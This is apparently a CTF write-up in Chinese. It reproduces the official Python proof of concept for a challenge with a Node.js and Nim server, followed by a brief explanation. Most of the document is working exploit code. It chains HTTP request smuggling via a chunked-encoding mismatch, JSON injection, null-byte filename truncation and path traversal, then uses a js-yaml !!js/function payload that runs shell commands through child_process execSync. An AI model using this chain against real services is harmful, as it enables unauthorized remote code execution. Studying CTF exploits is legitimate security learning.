很有意思的一道题目
官方给的poc
在poc之前先安装pycurl
export LDFLAGS="-L/opt/homebrew/opt/openssl/lib" export CPPFLAGS="-I/opt/homebrew/opt/openssl/include" env PYCURL_CURL_CONFIG=/opt/homebrew/bin/curl-config pip install pycurl --no-cache-dir
|
import requests import socket import pycurl import os import json from io import BytesIO from argparse import ArgumentParser
parser = ArgumentParser() parser.add_argument("target", nargs="?", default="http://localhost:10150/") parser.add_argument("--http-username", default="0802930ba132533b") parser.add_argument("--http-password", default="4c85e04da1def028") args = parser.parse_args()
target = args.target if target.endswith("/"): target = target[:-1] http_username = args.http_username http_password = args.http_password password = 1111111111111111111111111111111
def get_sess(): sess = requests.Session() if http_username and http_password: sess.auth = (http_username, http_password) return sess
def register(username, password, priloc="before"): if priloc == "before": data = {"privilegeLevel": "user", "username": username, "password": password} else: data = {"username": username, "password": password, "privilegeLevel": "user"} assert ( get_sess() .post( f"{target}/register", json=data, ) .json()["success"] )
def json_inject(username, content, priloc="before"): register(username, password, priloc)
payload = json.dumps( { "username": username, "old_password": password, "new_password": content, } ) c = pycurl.Curl() c.setopt(c.URL, f"{target}/login") if http_username and http_password: c.setopt(c.USERPWD, f"{http_username}:{http_password}") c.setopt(c.POST, 1) c.setopt(c.HTTPHEADER, ["Transfer-Encoding: CHUNKED"]) c.setopt( c.POSTFIELDS, f"POST /change_password HTTP/1.0\r\nContent-Length: {len(payload)}\r\n\r\n" + payload, ) c.setopt(c.WRITEDATA, BytesIO()) c.perform() c.close()
yamluser = os.urandom(8).hex() json_inject( yamluser + ".yaml\0", """"peko", "access": {"profile": true}, "privilegeLevel": { toString: !!js/function "function(){ console.log('pwned'); flag=process.mainModule.require('child_process').execSync('ls','utf-8').toString(); return flag }" } } # """, priloc="after", ) print(yamluser) lfiuser = os.urandom(8).hex() json_inject(lfiuser, f'"peko", "privilegeLevel": "../../../users/{yamluser}"') print(lfiuser)
sess = get_sess() print( sess.post( f"{target}/login", json={"username": lfiuser, "password": "peko"}, ).json() ) print(sess.get(f"{target}/profile").text)
|
稍微分析一下
这题有两个server,node.js 跟nim,基本上大部分功能都是在nim server 实现的,你可以登入、注册以及修改密码,而使用者的资料会存在yaml 档案里面,目标是要达成RCE。
第一个洞是request smuggling,Node.js 接受Transfer-Encoding: CHUNKED
但是Nim 只看chunk
,可以利用这个差异来达成走私的目的。
但走私之后能干嘛呢?
第二个洞是Nim 对于JSON 的行为,先把一个栏位设成很大的数字,Nim 会把它当作是一个RawNumber,在更新的时候就会不带引号,可以利用这点来达成JSON injection。
第三个洞是有了JSON injection 之后就可以利用js-yaml 的功能创造出一个有JS function 的物件,最后利用这个物件会在渲染时呼叫toString,就达成RCE 了
额,其实我不会,日后再来
privilegeLevel: { toString: !<tag:yaml.org,2002:js/function> "function (){console.log('hi')}" } access: {'profile': true, register: true, login: true}
|
有个Nim00截断